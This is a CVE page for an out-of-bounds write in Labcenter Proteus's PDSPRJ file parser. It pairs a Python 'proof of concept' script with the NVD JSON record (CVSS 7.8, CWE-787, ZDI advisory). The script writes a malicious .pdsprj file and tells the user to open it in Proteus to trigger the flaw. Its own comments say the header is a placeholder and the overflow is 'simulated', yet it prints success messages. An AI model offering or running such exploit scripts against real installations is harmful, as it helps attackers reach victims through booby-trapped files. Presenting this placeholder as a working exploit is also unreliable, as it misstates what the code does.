CVE-2026-5494

# Proof of Concept for CVE-2026-5494 # This script generates a malformed PDSPRJ file to trigger the OOB Write. import struct def create_malicious_pdsprj(filename): # PDSPRJ file header placeholder (actual header structure may vary) header = b'PK\x03\x04' + b'\x00' * 10 # Malicious payload designed to trigger the Out-Of-Bounds Write # The specific offset and size depend on the vulnerable buffer allocation # Here we simulate a buffer overflow with a cyclic pattern junk = b'A' * 100 # Padding to reach the vulnerable buffer # Overwrite adjacent memory (simulated) # In a real exploit, this would contain return addresses or shellcode overflow_payload = b'\x00' * 8 # Potential corruption of metadata payload = junk + overflow_payload + b'C' * 50 with open(filename, 'wb') as f: f.write(header + payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Proteus to trigger the vulnerability.") if __name__ == "__main__": create_malicious_pdsprj("exploit_CVE-2026-5494.pdsprj")

{"cve": {"id": "CVE-2026-5494", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:18.563", "lastModified": "2026-04-27T17:48:12.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Labcenter Electronics Proteus PDSPRJ File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Labcenter Electronics Proteus. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the processing of PDSPRJ files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25719."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:labcenter:proteus:8.17:sp5:*:*:*:*:*:*", "matchCriteriaId": "02C6A9A8-9638-4E28-B3D4-5E16A9C36AB6"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-256/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}